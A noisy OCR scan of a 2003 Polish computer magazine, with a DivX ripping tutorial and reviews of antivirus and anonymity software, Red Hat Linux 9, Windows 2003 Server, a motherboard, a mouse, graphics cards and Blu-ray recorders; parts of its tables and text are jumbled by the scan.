rzamy przygotowany juz fragment.

10. W polu (7 ustawiamy prio-
rytet pracy. Jesli nie bedziemy ko-
rzystali z komputera w trakcie ripo-
wania, mozemy wybra¢ poziom
najwyzszy — wtedy aplikacja skon-
czy prace szybciej, obcigzajac bar-
dziej procesor. Jesli natomiast
chcemy podczas konwersji korzy-

tet niski lub normalny.

11.. Aby skonfigurowac kodek wi-
deo, klikamy na [Kodek wideo....

12. W nowym okienku wybieramy
kodek. Domyslnie jest to DivX 5.05,
zainstalowany wraz z programem.
Klikamy na @, aby uzyskac dostep
do jego szczegotowych opcii.

o hasE Rommpress

= Fgiliguni .
W | Blizzonme Ktk cn I)‘: (s l—[

Mozemy je zmieni¢ w zalezno$ci od
naszych wymagan i cech samego
filmu. W celu uzyskania szczegoto-
wych informacji na ten temat Eks-
pert poleca strony internetowe

w ramce Warto zajrzec...

13. Zmieniamy wartosé bitrate
w zaleznosci od dtugosci filmu oraz

i

Podglad

kodowania W

~ Statpstyki—————

['F“‘m“;“.TD
[r—““;Txﬂ
[,——M;::::?‘D

Ktatkife—— |
| S EEE

ﬁ_’D
[Feres| Q0
[:F Podglad [Trwia kompresowanie...

[] Czas filmu liczony w klatkach

[] Czas pracy programu

[] Pozostaty czas konwersiji

[] Liczba klatek na sekunde

[] Docelowa wielkos¢ plikéw z infor-
macja, ile ptyt zajmie film

[] Wiaczenie i wytaczenie podgladu

[] Okno podgladu filmu

[] Pasek postepu

[] Przyblizona liczba ptyt, jaka zajmie
film, oraz w jakim stopniu bedzie
zapetniona kazda z nich

wielko$ci ptyty, na ktérg chcemy go
nagra¢ @. 96-minutowy film, ktory
ma zmie$ci¢ sie na ptycie 650 MB,
powinien by¢ konwertowany z

bitrate okoto 900 kbps. Do popraw-
nego wyliczenia bitrate uzyjmy pro-
gramu RateXCalc z krazka Eksperta.

Binate Contiol | ioncsal Parametess | Manags Settngs | Froties |

o

______________

wybra¢ opcjg [Multipass, Tst pass|.
Dzigki temu podczas pierwszego
przebiegu zostang zebrane informa-
cje o klatkach, ktore nastepnie wyko-
rzystane bedg do wiasciwej kompre-
sji. Kazdy kolejny przebieg wydfuza
jednak czas konwersji filmu.

15.. Zatwierdzamy przyciskiem
wszystkie ustawienia

w otwartych wczesniej oknach

i rozpoczynamy ripowanie, klikajac
na [Zazanit]. Wezesniej wytacza-
my jeszcze opcje 0szczedzania
energii w Panelu sterowania.

16.. W pojawiajacym sie okienku
widac podglad [ oraz statystyki
tworzonego filmud. [

17. Jesli w nagrywarce nie ma
czystej piyty, po zakonczeniu ripo-
wania aplikacja poprosi o jej wto-
zenie i kliknigcie na przycisk [DK].

Film VCD z DivX-a

Jesli mamy plik AVI, mozemy
dodac do niego napisy z pliku TXT
i stworzy¢ ptyte S/VCD — odczyty-
wang przez wigkszo$¢ stacjonarnych
odtwarzaczy DVD. Mozliwo$¢ od-

L
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jest aktywna. Dzigki temu, gdy pro-
gram przerwie prace, na przyktad

z powodu awarii pradu, to efekty ob-
liczen nie p6jdg na mamne.

6.w sekcji [ wybieramy rodzaj

Skalowanie obrazu
e

Lanczos to specjalny filtr stosowa-
ny przy skalowaniu obrazu do niz-

szych rozdzielczosci, kiory pozwala
na zachowanie ostrosci.

7. Konwersje zaczynamy, klikajac
na [Zacznil]. Nastepnie na biezgco
mozemy $ledzic jej przebieg. Zoba-
czymy réwniez informacje o szacun-
kowej wielkoSci pliku i liczbie ptyt,
ktore musimy przygotowac.

twarzania ptyt S/VCD trzeba potwier-
dzi¢ w instrukcii obstugi urzadzenia.

1. Kiikajac na AW 5 WED],
wybieramy sposob konwersji.

= &)
(Pl ]

2 . 0Odnajdujemy plik z filmem

Klikamy na [Daleiz].

3. W nastepnym okienku [ wy-
bieramy docelowe miejsce zapisu,
na przyktad [ Nagwarka C0 .
Wpisujemy nazwe piyty @.

!

(EIMP'W—

]MEM EMTO

4. Nastepnie w ramce [] ustawia-
my pojemnoS¢ piyty, na ktorg nagra-
my film. Powinni$my przygotowac
ich odpowiednig liczbe. Klikamy na
[Opeie..], aby uzyskaé dostep do za-

awansowanych funkcji programu.

5. Sprawdzamy, czy w ramce []
opcja przechowywania pliku wideo

@larto zajrze€...

Przy nagrywaniu ptyt VCD i SVCD
program nie tworzy menu z rozdzia-
tami. Mozemy jednak wesprzec sie
innymi aplikacjami, na przykfad Ne-
ro Burning Rom (jego 30-dniowa
wersja znajduje sie na krazku Eks-
perta). W tym celu w DVDRipie kon-
wertujemy film do formatu VCD, ja-
ko docelowe miejsce zapisu wska-
zujgc dysk twardy. Nastepnie wypa-
lamy ptyte VCD za pomocg Nero

Burning Rom. TS m

Adresy WWW:

o www.divx.pl
o www.divx.howto.pl
o www.dvdrhelp.com
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. 7 0
terprise /.
F irma McAfee Security za-
prezentowata nowy pakiet

antywirusowy. Rozwigzanie prze-
znaczone jest do obstugi sieci

Informacje )

Nazwa programu McAfee VirusScan Enterprise 7.0
Dystrybutor Tech Data Polska

Adres ul Inowtodzka 3, 03-237 Warszawa
Telefon (022) 5479200

Strona WWW producenta www.mcafeesecurity.com

llo$¢ zajmowanego miejsca 11MB

Jezyk programu polski

Pomoc w programie dobra

Podrgcznik dobry

Jezyk podrecznika angielski

Skaner antywirusowy jest

Monitor systemu jest

Terminarz jest

Kwarantanna jest

Wyhbor plikow do skanowania  jest

Leksykon wirusow jest

Dostepne wersje jedna

Cena licencja za jedno stanowis-

ko - 205 zt, minimalna
liczba licencji - 11

cAfee VirusScan

All
Frocesses

komputero-

wych i moze
kontrolowaé
zaréwno sta-
cje robocze,
jak i serwery
plikow. Ad-

Scan

V| Boot goctors

w'| Eloppny durieg shuldown

W gtéwnym oknie pro-
gramu @ mozemy
zdecydowat, ktory
komputer i jaki typ
plikéw ma byé skano-
wany. W oknie @-------
mozna $ledzi¢ postepy

w poszukiwaniu zagro-
Zen przez pakiet anty-
wirusowy

¥ VirusScan On-Demand Scan Progress - Scan All Fixed Disks

ministratorzy
Ssystemow

docenig za-
pewne szersze niz dotad mozliwo-
$ci kontroli elementow sieci.

W programie dostepna jest bo-
wiem funkcja, ktora pozwala na
skanowanie komputerow w zalez-
nosci od poziomu zagrozenia.
Oznacza to, ze po wybraniu kon-
kretnych opcji mozna na przyktad
sprawdzac tak zwane aplikacje
zwiekszonego ryzyka (system
poczty elektronicznej, przegladarki
stron WWW czy programy biuro-
we), podczas gdy mniej narazone
na zagrozenia aplikacje sg do dys-
pozycji uzytkownikow. Rozwigza-
niem zapewniajgcym

Z atozenie czapki niewidki
proponuje uzytkownikom in-
ternetu firma Steganos.

Jej program o nazwie Internet Ano-
nym 5 umozliwia ukrycie tozsamo-
$ci internauty podczas surfowania

w sieci (na przykfad w komunikato-
rach internetowych lub na czatach).
Internet Anonym 5 ukrywa rzeczywi-

sty numer IP uzyt-
kownika, przydziela-
jac mu w to miejsce
losowo wybierane cyfry (zmieniajg
sig one w szybkim tempie w gtow-
nym oknie aplikacji). Dzieki takiemu
rozwigzaniu ustalenie lokalizacji
ukrywajgcego sie komputera staje
sie 0 wiele trudniejsze, a dla wigk-

s s
Steg? S Anons

i

Informacje
Nazwa programu Internet Anonym 5
Producent Steganos
Strona WWW producenta www.steganos.com
llo$¢ zajmowanego miejsca 1,1MB
Jezyk programu angielski, francuski, hiszpanski, niemiecki
Pomoc w programie obszerna
Ukrywanie adresu IP jest
Blokowanie cookies jest
Blokowanie JavaScript jest
Blokowanie ActiveX jest
Dostgpne wersje 1-dniowa demo, pefna
Cena ok. 100 zt
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Sranning in }ﬂnr and

ia lakalnelT: ContentIEGYFC

porany Intamet F

Filo fmain_nenb[1] gif

Scanned: 580

wigksze bezpieczenstwo systemu
jest takze nowy proces skanowania
pamieci, ktory wyszukuje i usuwa
wirusy wykorzystujgce do replikacji
pamie¢ komputera (nalezg do nich
miedzy innymi CodeRed i Slam-
mer). Proces skanowania mozna
umiesci¢ w harmonogramie zadan.
Producent zadbat o przyjazne dla
uzytkownikéw aktualizowanie baz

danych o wirusach. Funkcja o na-
zwie AutoUpdate pozwala na auto-
matyczng aktualizacje informacji

0 zagrozeniach, uzytkownik moze
tez okresli¢ konkretng date, ktora
wyznacza uzupetnienie bazy. Wy-
godna jest opcja wznowienia aktu-
alizacji, ktora pozwala kontynuowac
ja w wypadku przerw w potgcze-

niach internetowych. PS

LESE 570 internautow
' ﬂ wrecz niemozliwe.
Wsrod nowych opcji, do-
faczonych do wersji nu-
mer 5 aplikacji, znalazto
sie narzedzie do bloko-
wania kontrolek ActiveX,
apletow Javy, tak zwanych okienek

pop-up z reklamami oraz plikow coo-

I Steganos Intemet Privacy

Steganos
Internet Anonym 5

Z Anonym surfen

IHRE WAHRE
IP-ADRESSE:

IHRE

192.168.0.171

i Lokale Spuren vernichten...

: BLOCKIERT WERDEN:

65.82.188.227:80

kies. Nowy jest takze modut 0 na-
zwie WebCam Anonimisation, ktory
pozwala ukry¢ tozsamosé uzytkow-
nika podczas potgczen interneto-
wych z wykorzystaniem cyfrowej ka-
mery (na przyktad w wideoczatach).
Internet Anonym 5 wspdtpracuje

z przegladarkami stron WWW Inter-
net Explorer, Netscape i Mozilla. PS

Anonymitit priifen...
.‘ (".
- "
! -

DAS INTERNET

TARNADRESSE:

Steganos Internet Anonym 5 pokaze zaréwno nasz prawdziwy numer IP (u géry
z lewej), jak i losowo zmieniane numery (u géry posrodku)



TESTY SOFTWARE W SKROCIE

RedHat Linux 9

Dziewiaty RedHat juz prawie po polsku

w maju do redakcji trafita
nowa wersja znanej dys-
trybucji Linuksa. Nowy RedHat to
wiele zmian na lepsze. W procesie
instalacji systemu operacyjnego
uwzgledniono mozliwos¢ przetesto-
wania poprawnosci danych zapisa-
nych na nosnikach (na przyktad dys-
ku twardym lub krazku CD-ROM),
dzieki czemu unikniemy przykrych

niespodzianek podczas kopiowania
plikow. RedHat Linux 9 dostepny
jest do Sciggniecia w postaci obra-
76w trzech krazkow instalacyjnych
(lista polskich mirroréw na stronie
www.redhat.com/download/mir-
ror.html) oraz w wersjach pudetko-
wych: RedHat Linux 9 (okoto 170 zf)
i RedHat Linux 9 Professional (okoto
630 ztotych). Odptatne wersje Red
Hata zawierajg

dodatkowo kraz-

SBETH oo« - |

ki z kodem zr0-
dtowym syste-
mu operacyjne-
go i drukowane
podreczniki

(w jezyku an-
gielskim).

W wersji Profes-
sional — dodat-
kowo otrzymuje-
o=+~ My Linuksa na

Po instalacji mozemy zarejestrowat sig na witrynie producenta.
Dzieki temu uzyskamy dostep do uaktualnien, pomocy i szkolen

plycie DVD oraz
krazek z aplika-

cjami biurowy-
mi i multime-
dialnymi.
W stosunku
do Red Hata
8.x znacznie
Uproszczono
i skrocono proces instalacii systemu
operacyjnego. DomysIna instalacja
Red Hata zajmuje okoto 1,7 GB
miejsca na dysku (tylko pliki syste-
mu operacyjnego). Jako standardo-
we uruchamiane jest Srodowisko
graficzne Ximian Gnome, wraz z mo-
tywem opracowanym przez Red Hata
0 nazwie Bluecurve. Interfejs uzyt-
kownika jest wyjatkowo prosty w ob-
sfudze, tatwo dostrzec takze elemen-
ty przypominajgce Windows, takie
jak na przyktad scentralizowany Pa-
nel sterowania. W nowym Red Hacie
zmieniono podstawowe komponenty
systemu (kernel 2.4.20, GCC 3.2.1,
GNU libc 2.3), dotgczono OpenOffi-
ce'a, przegladarke Mozilla, Ximian
Evolution (klient pocztowy, kalen-
darz) oraz serwer WWW Apache 2.0.
Dopracowano takze obstuge sieci
Windows — od teraz Red Hat 9 po-
zwala bezposrednio po zainstalowa-
niu na dostep do zasobow w Sie-
ciach lokalnych. Minusem dla pol-

’._’_.-,‘
b

@ Informacje |4

Nazwa programu RedHat Linux 9

Dystrybutor B2B Sp.z0.0.

Telefon (012) 6382244

Strona WWW producenta www.redhat.com

Rozmiary domysinej instalacji 1,7 GB

Jezyk programu polski, angielski

Pomoc w programie dostateczna

Podrecznik dostepny wylacznie

w wersjach pudetkowych

Wersja kernela 24.20

wersja GCC 3.2.1 (GNU libe 2.3)

Wymagania sprzgtowe Pentium 11/400 MHz, 192 MB RAM

(rekomendowane)

Lista pakietow w dystrybucji

http://www.redhat.com/software/
linux/technical/packages.html

Lista mirroréw

http://www.redhat.com/download/
mitrorhtml

Skrdcona lista
obstugiwanego sprzetu

http://www.redhat.com/software/
linux/technical/hel/

Cena

skich uzytkownikéw jest niekomplet-

ne spolszczenie GNOME i brak pol-

skiego jezyka w procesie instalacji.

Martwi opieszato$¢ polskich dystry-

butorow, ktorzy w momencie odda- "
wania materiatéw do druku wcigz
oferowali jedynie wersje 8.0.

darmowy (dystrybucja
do pobrania z Internetu)
170 zt (podstawowa
wersja pudetkowa),
630 zI (Red Hat Linux
9 Professional)

‘-—.‘I

BD

Windows

2003 Server

64-bitowy serwer Microsoftu

N a przetomie maja i kwietnia
Microsoft rozpoczat dystry-
bucje najnowszego serwerowego
systemu operacyjnego w czterech
wersjach: Standard, Enterprise,
Datacenter i Web. Ta ostatnia, jak
sugeruje nazwa, bedzie gtownie de-
dykowana do zadan zwigzanych
z ustugami internetowymi. Nato-
miast najbardziej obszerng wersja
obstuguijaca najwieksza iloS¢ pamig-
¢i RAM i procesorow jest wersja Da-
tacenter. Wersje Enterprise i Data-
center bedg dostepne w wersjach
dla procesorow 32- i 64-bitowych.
Domyslina instalacja wersji Enter-
prise Serwera 2003 zajmuje 1,3 GB.
Zmniejszono liczbe pytan instalatora
w stosunku do wersji 2000. Zmiang
na korzysc jest takze to, ze w do-
myslnie zainstalowanym Windows
2003 Server nie ma serwera stron
WWW. Nie grozi nam sytuacja, ze

dopiero co zainstalowany system
moze by¢ podatny na ataki z powo-
du luk bezpieczenstwa w serwisie
IIS. Taka sytuacja ma miejsce

w Windows 2000 Server, gdzie po
instalacji domyslinej, jeszcze przed
podtaczeniem do internetu, koniecz-
ne jest natychmiastowe instalowanie
Service Packa.

Warto takze wspomnie¢ o dodat-
kowym zabezpieczeniu dla IIS 6.0.
Zaraz po zainstalowaniu aplikacja
nie obstuguje plikéw z zawarto$cig
dynamiczng, czyli na przyktad skryp-
tow ASP Dodatkowo funkcje ASP
dziatajg w kontekscie konta o ogra-
niczonych uprawnieniach. Dzieki te-
mu nawet jezeli wtamywacz dostat-
by sie do systemu, wykorzystujac
ewentualne braki w zabezpiecze-
niach, to i tak uzyska dostep tylko na
poziomie uzytkownika o ograniczo-
nych uprawnieniach.

Zupetng nowoscig w Windows
2003 Server jest ustuga Shadow
Copies. Dzigki niej mozna odzyska¢
skasowane pliki lub dane z doku-
mentu z poprzednich wersji plikow.
Serwer Windows 2003 moze prze-
chowywac informacje o kilku wer-
sjach tego samego pliku. Nastepng
innowacjg (powigzang z Shadow
Copies) jest mozliwo$¢ wykonania
kopii zapasowej nawet tych plikow
czy dokumentow,

7 cieka-  |Shadow Capies |

wostek Shadow copies allow usess to view the confents of shared foldery

mozna as :rp contents exizted at previous points in time. For information
o required clicnt software, clole hore.

WymllenlC Sefact a vohme:

fakt’ 6 Yolume MNest Run Time | Shares Used *

do nowe; &I 4/30/20037-.. 0 100ME on.,

Wersji ja- ol

dra systemu dodano kilka funkcji e
y ) Shadow Copies uz 3\

mogacych wspomagac dziatanie
programéw antywirusowych firm

trzecich.

kownicy serwera be
mogli odzyskat stare
wersje dokument

Az

ktdre aktualnie sg

@Cechy wersji Windows 2003 Server

w uzyciu. Windows
2003 Standard i En-

: o = 2
terprise majg row- S =3
niez wbudowany = E !
prosty firewall. Dostepna wersja 64-hitowa systemu nie tak tak nie
Plusem jest row-  Maks. ilosé pamigei RAM (wersja 32/64-t). 4GB~ 32/64GB | 64551268 | 2GB-

niez to, ze w dome- ~ Maks. liczba procesordw (wersja 32/64-bit). 4/ 8 32/64 2~
nie utworzonej na Whudowana zapora (firewall) tak tak nie nie
Windows 2003 Ser- ~ Wspitdzielenie potaczenia internetowego (ICS)  tak tak nig nie

: S Obstuga VPN (Virtual Private Network) tak tak tak niepefna
‘Jgstéefnﬁ'; rT;OnZ;zwy Obstuga IPvG Wtk tak tak

) Ustugi certyfikacji niepeine  tak tak niepefne
domeny D6z reinsta- geryer stron WWW (IS 6.) k lk tak tok
lacji systemu. Po- "Ustugi Active Directory tak tak tak nigpee
dobnie jak w po- Serwer terminalowy tak tak tak nie
przednich wersjach ~ Uslugi klastrowe nie tak tak nie
dostepne Sq Usfugi Ustugi Windows Media Services tak tak tak nie
terminalowe, ale rlﬁ'ﬁw‘fil szy({;rlfv:ianiacplikt;w (EFS) :at :a:: :a:: :allt
: opie ukryte (Shadow Copy) a a a a

ZW|ekszonoldpstepne Ustugi faksowe tak tak tak nie
rozdzielczosci obra- Rozproszony system plikow (DFS) tak tak tak tak
zu do 1600x1200.
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J esli ktos chce tanio zbudo-
waé komputer przeznaczony
do biura czy pracy w internecie,
moze zainteresowac sie ptytg gtow-
ng K7SOM+ wyprodukowang przez
tajwanskg firme ECS. Jest to nie-
wielkich rozmiarow ptyta w standar-
dzie MicroATX wyposazona we

Dane techniczne )

Nazwa K7S0M+
Chipset Si8 740, SiS 962L South Bridge
Procesor AMD Duron 1400+
Pamieé 2 x DDR DIMM, 2 x SDRAM DIMM,
maksymalnie 2 GB
Grafika whudowana, zgodna z AGP x 4
Uacza kart rozszerzen 3 x PCI, 1 x AMR
liacza 2xP$/2,1xLAN, 2 x USB 2.0,

1 x rownolegte, 1 x szeregowe, 1 x VGA,

1 x port gier, 1 x Line-in, 1 x Line-out,

1 x mikrofon
Kontrolery 1x FDD, 2 x HDD (ATA133)
Karta diwigkowa 4 kanaty, C-Media CMI9738/4CH AC'97
Karta sieciowa whudowana, Fast Ethernet 10/100
Wymiary MicroATX (24,5 x 24,5 cm)
Producent ECS (www.ecs.com.tw)
Dystrybutor Sirius Computers (www.sirius.pl)
Cena 439 zlotych

wbudowang kartg
graficzng, karte
sieciowg oraz
czterokanatow
karte dzwie-
kowa. Nie
zabrakto
rowniez portow

PS/2 do podiaczenia
klawiatury i myszki oraz ztacza
szeregowego i rownolegtego. Na
ptycie gtownej dostepny jest row-
niez kontroler stacji dyskietek oraz
dyskow twardych zgodny z ATA-
133. ECS K7SOM-+ ma wyprowa-
dzone dwa porty USB 2.0, dwa do-
datkowe mozna uzyskac, dokupujac
odpowiednie ztacze z gniazdami.
Na ptycie firmowo wlutowany jest
(bez mozliwo$ci wymiany) proce-
sor AMD Duron 1400+ wraz z od-
powiednim radiatorem i chtodzg-
cym go wiatrakiem. Nalezy zwrdcic
uwage na to, ze cho¢ oznaczenie
procesora sugeruje prace z predko-
$cig 1400 MHz, w rzeczywistosci
procesor pracuje z czestotliwoscig
niewiele przekraczajacg 1 GHz.

Jako pa-
mieci w ptycie
mozna uzy¢ zarowno
modutéw DDR, jak i tanszych
SDRAM (maksymalnie 2 GB).
Wbudowana karta graficzna korzy-
sta z zainstalowanej w komputerze
pamieci i raczej nie zadowoli gra-
czy, gdyz do$c sfabo wspiera gry
3D, jednak do pracy biurowej

oraz przegladania stron interneto-
wych powinna w zupetno$ci wy-
starczy¢. Niestety, brak ztgcza AGP
powoduje, ze nie mozna rozszerzy¢
zestawu 0 bardziej wydajng grafike.
Ptyta gtowna ECS K7SOM+ moze

sta-
nowic
dos$¢ do-
brg podstawe
do stworzenia
niedrogiego zesta-
wu komputerowego,
przeznaczonego dla pro-
stych domowych czy biuro-
wych zastosowa. JS

Plusy i minusy |

<. Niewygorowana cena

< Zintegrowana karta graficzna,
dzwigkowa i sieciowa

< Mozliwos¢ uzycia pamieci DDR
lub SDRAM

¢ Brak ztgcza AGP

< Niewielkie mozliwosci rozbudowy

< Tylko dwa porty USB

< Brak mozliwosci wymiany
procesora

w ygodna, chociaz do$¢
ciezka optyczna myszka
komunikuje sie z odbiornikiem za
pomoca fal radiowych. Urzadzenie
350CW Mouse Cardreader Wire-
less jest nie tylko myszka, moze
by¢ wykorzystywana rowniez jako
czytnik kart pamigci. Mysz wyposa-
zona zostata w cztery przyciski oraz
rolke, ktdra takze moze by¢ wyko-
rzystana jako przycisk. Dotaczone
W zestawie oprogramowanie umoz-

2 CZERWIEC-LIPIEC 2003 [ aaad

liwia przypisanie dodatkowym kla-
wiszom wybranych funkcji. Myszka
zasilana jest z dofgczonych do ze-
stawu dwach akumulatorkow AA
0 pojemnosci 1600 mAh kazdy, co
wystarczy na dos¢ dfugi okres uzyt-
kowania. W komplecie znajdziemy
tez niezbedna do nafadowania aku-
mulatoréw tadowarke, podtgczang
do gniazdka sieciowego.

Wraz z myszkg znajdziemy pod-
taczany do portu USB odbiornik

@ Dane techniczne )

Nazwa 350CW Mouse Cardreader Wireless

Mysz optyczna, bezprzewodowa z rolka, radiowa,
2 kanaly 27 MHz

Liczba przyciskow 4, rolka

Programowanie przyciskow jest

Zasilanie 2 x akumulator AA 1600 mAh

acze USB

Odczytywane formaty kart pamieci

Compact Flash, SmartMedia

Producent

Trust (www.irust.com)

Cena

279 ztotych

sygnatu, bedacy jednoczesnie
podstawkg umozliwiajgcg odtoze-
nie myszy, kiedy z niej nie korzy-
stamy. Odbiornik ten dziata row-
niez jako czytnik kart pamieci
Compact Flash i SmartMedia,
czyli obecnie najpopularnigjszych
nos$nikow danych dla aparatow
cyfrowych i przeno$nych odtwa-
rzaczy MP3. Wbudowany czytnik
jest widziany w systemie jako dwa
dodatkowe napedy dyskow wy-
miennych.

Bardzo irytujaca wadg zestawu
Trust 350CW Mouse Cardreader
Wireless jest sposob fadowania aku-
mulatorkéw wykorzystujgcy dodat-
kowg fadowarke podtaczang bezpo-

$rednio do myszy. Przeciez znacznie
wygodniejszym rozwigzaniem bytaby
tadowarka wbudowana w podstawke.
Uzupetnianie energii akumulatorkow
mogtoby odbywac sie wtedy, gdy
nie korzystamy z myszy i odfozyli-

$my jg na podstawke.

JS

[

Plusy i minusy |

o

wygodny ksztatt myszy
mozliwos¢ programowania
przyciskow

whbudowany czytnik kart
pamieci

zasilanie z dostepnych w kom-
plecie akumulatorkow

< wysoka cena

< niewygodne rozwigzanie fado-
wania akumulatorkow

P

P

P



TESTY KARTY GRAFICZNE

FX kontra Radeon

ajmocniejsza jeszcze
do niedawna karta
graficzna dla graczy
GeForce4 Ti 4600 znalazta swojego
pogromce w postaci Radeona 9700

GeForce FX 5800 wykonane zostaty
w technologii 0,13 mikrome- Pl
tra, natomiast znacznie stab- ¢
szeqo GeForce FX 5200 —
0,15 mikrometra. W procesorze

g < . GeForce FX
5800 niewiele

Hercules

9800 PRO

R adeon oznaczony nazwa ko- »
dowa R350 (nazwa handlo-

wa Radeon 9800) to nieznacznie
poprawiony chipset znany juz uzyt-
kownikom z doskonatych kart gra-
ficznych Radeon 9700 i podobnie
jak one wykonany w technologii
0,15 mikrometra. W nowym ukfa-

Pro. Najnowsze kar- kart GeForce FX zaimplementowany

ty GeForce FX zostat nowy silnik graficzny CineFX
majabyc, g S > Engine, kiory zawiera jednostki
o Pixel Shader i Vertex Shader

(w wersji 2.0+) operujace na licz-
Karta bach rzeczywistych o 128-bi-
Gainward FX  towej precyzji. Nowoscig jest

nia tek-
stur i antyialiasingu. Chipset FX

wspiera rowniez mozliwos¢ progra-
mowania karty graficznej przy wyko-
rzystaniu specjalnie stworzonego je-

zyka programowania Cg, ktorego

ustepuje wersji Ultra

dzie lekkiej modyfikacii
poddano jednostke
SmartShader,
ktora
ozna- &

Hercules

PowerPack! Pro/  zastosowanie technologii In-
660 TV/DVI niema tg|lisample, oferujace; bez-
> aktywnego chodzenia o\-oi0 omoresie kolorow
(model FX 5200 nie

ma tej funkcji) oraz mozliwos¢
sprzetowego czyszczenia bufora kar-
ty (Fast Color Buffer Clear). Dodano

wedtug producenta, firmy NVIDIA,
godnym nastepca serii GeForce 4 Ti.
Modele FX 5800 i 5800 Ultra s3 tak
skonstruowane, ze oprocz ztgcza

uzycie powinno utatwic prace pro-
ducentom gier. Karta zgodna jest

z DirectX 9.0 i OpenGL. Do prawi-
dtowego dziatania karty graficzne
GeForce FX 5800 wymagajg spe-
cjalnego chtodzenia, ktore, niestety,
powoduje bardzo duzy hatas, siega-

jeden z najmocniejszych
. Radeondw

) Q .
czona zostata %ﬁ?
numerem2.1iza-
wiera poprawione ukfady Pixel Sha-
der 2.0 i Vertex Shader 2.0 oraz no-
woSC¢ w postaci bufora F (F-Buffer),

dzigki kidremu powinna wzrosngcé

Wyniki testu

wydajno$¢ w aplikacjach _
] graficznych pisanych spe- *

Gainward FX PowerPack!

Karta graficzna Gainward FX PowerPack! PixelView

cjalnie dla DirectX 9. Opty-
malizacji ulegty rowniez al-

3D Prophet 9800 PRO -

Pro/660 TV/DVI GeForce FX 5800 Uitra/1000 PLUS gorytmy obstugujace prze-
3Dmark 2001 2650* 7512 441* 12210 5404* 12661 8289* 13573 i i -
syfanie danych i przepusto
3Dmark 2003 531* 1455 1139* 4409 1421+ 5215 1802* 5285 wosé pamieci podrecznei
Aquamark 9 59,9 60 665 o pZ N@ podreczne]
Code Creatures 1033 2941 3524 3485 ulora Z. Nowa Wersa na-
Commanche 4 demo 2 2 46 45 zwana zostata Hyper Z lll+.
Return to Castle Wolfenstein 828 103 107 105 Radeon 9800 taktowany

* Wiaczona funkcja antyaliasingu oraz filtrowanie anizotropowe

Wszystkie testy wykonano w rozdzielczosci 1024x768 w 32 - bitowym kolorze, na komputerze z procesorem Intel Pentium 4 2,53 MHz, 512 MB RAM

jest wyzszymi czestotliwo-
$ciami wynoszacymi odpo-

AGP wytgczajg z uzytkowania jesz-

g takze dynamicz-

cze jeden slot PCI i podobnie ng korekcje
jak w wypadku konkuren- gamma oraz
cyjnych Radeonow 9700 zZaawansowane
wymagajg do- d% techniki filtrowa-
datkowego z2- f’ Gainward FX PowerPack!
silania. Proce- " Ultra/1000 Plus Golden

sory kart graficznych

Sample - najmocniejszy GeForce FX

jacy okoto 60 dBA. Wentylator chto-

dzacy uktad oraz pamigci ma dwa

tryby pracy: cichy, mniej wydajny,
w ktorym wentylator dziata, gdy pra-

cujemy w trybie 2D, oraz gto$ny,

lecz bardziej wydajny, uaktywniany

po uruchomieniu aplikacji lub gry
korzystajacej z funkcji 3D.

wiednio 380 MHz dla rdze-
nia procesora i 680 MHz dla pamie-
ci. W odréznieniu od kart GeForce
FX 5800 najnowszy Radeon zajmuje
tylko ztacze AGP nie przystaniajac
PCl, a zamontowany na nim wenty-
|ator pracuje znacznie ciszej niz
ukfad chtodzacy zastosowany w kar-
tach GeForce FX 5800. JS m

i

Dane techniczne i informacje

]

Gainward FX PowerPack! PixelView GeForce  Gainward FX PowerPack!
Pro/660 TV/DVI FX 5800 Ultra/1000 PLUS Golden Sample
Procesor FX 5200 (NV34) FX'5800 (NV30) FX'5800 (NV30) Radeon 9800 (R350)
Taktowanie rdzenia 250 MHz 400 MHz 500 MHz 380 MHz
Taktowanie pamigci 400 MHz 800 MHz 1000 MHz 680 Mhz
Vertex Shader 2.0+ 20+ 20+ 20
Pixel Shader 2.0+ 20+ 20+ 20
Ramdac 350 MHz 400 MHz 400 MHz 400 MHz
Magistrala pamigci 128 bit 128 it 128 hit 128 bit
Dotaczone oprogramowanie | sterowniki, WinDVD 4 sterowniki, WinDVD 4, sterowniki, WinDVD 4, WinRip 2, sterowniki, PowerDVD 4, gra Rainbow 6 Raven
zestaw gier WinProducer 3, gra Shield
Dotaczone wyposazenie przejsciowka DV, przejsciowka DV, karta diwigkowa 5.1, karta FireWire, kable wideo, | kable wideo, przej$ciéwka DVI
kahel wideo kabel zasilajacy, kable wideo! przejSciowka DVI, kabel FireWire, stuchawki
Producent Gainward (www.gainward.com) Prolink (www.prolink.pl) Gainward (www.gainward.com) Hercules (www.hercules.com)
Dystrybutor Multimedia Vision (www.mmu.pl) | Action 2 (www.a.pl) Multimedia Vision (www.mmu.pl) Veracomp S.A. (www.veracomp.pl) ¢
Cena okoto 500 zt 2132 z 3000 =zt 2500 zi
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Pierwsza nagrywarka )

NOWE TECHNOLOGIE NIEBIESKI LASER
kwietniu 2003 firma Sony rozpoczeta sprzedaz na rynku japoriskim

pierwszej nagrywarki Bluray. Urzadzenie o symbolu BDZ-577
kosztuje w przeliczeniu ponad 15 000 ztotych! W nagrywarce mozna stoso-
wat wielokrotnie zapisywalne dyski o pojemnosci 23 GB (cena jednego dysku
w kasecie ochronnej, to okoto 120 ztotych). Wkrétce bedzie mozna rowniez
korzystac z 25- i 27 gigabajtowych nosnikdw.

Nagrywarka Bluray Sony BDZ-S77 odtwarza takie tradycyjne ptyty CD i DVD

Poniewaz nagrywarka ma stuzy¢ przede wszystkim do rejestrowania filmow,
wyposazono jg w tuner telewizji satelitarnej oraz tradycyjny analogowy tuner
telewizyjny. Pozwala na zapisanie na dysku do dwdch godzin programu tele-
wizyjnego w formacie HDTV oraz okoto 13 godzin programu telewizyjnego

o standardowej jakosci. W Polsce urzadzenie nie jest dostepne.

o

.,

urzadzeniach do

odtwarzania i na-

grywania dyskow
powszechnie wykorzystuje sie lasery
podczerwone lub czerwone emitujg-
ce Swiatto o dtugosci fali 780 nm
(w napedach CD) i 650 nm (lub
635 nm) w urzadzeniach DVD. Dal-

CD i DVD okazuja sie coraz czesciej niewy-
starczajace do przechowywania ogromnych
losci danych. Na szczescie w sukurs
arzychodzi technika niebieskiego lasera

aser - (ang. Light Amplification by Stimulated
Emission of Radiation, czyli wzmocnienie swiatta
przez wymuszong emisje promieniowania) - jest wynalaz-
kiem stosunkowo nowym - pierwszy laser (w kolorze rubi-
nowym) zostat skonstruowany w 1960 roku.

Zasada dziatania lasera opiera sig na wymuszonej emisji
promieniowania elektromagnetycznego ($wiatta) podczas
zmiany poziomow energetycznych atomow ze stanu wzbu-
dzonego do podstawowego. Wyzsze poziomy energetyczne
(tak zwane poziomy metastabilne) s obsadzane na skutek
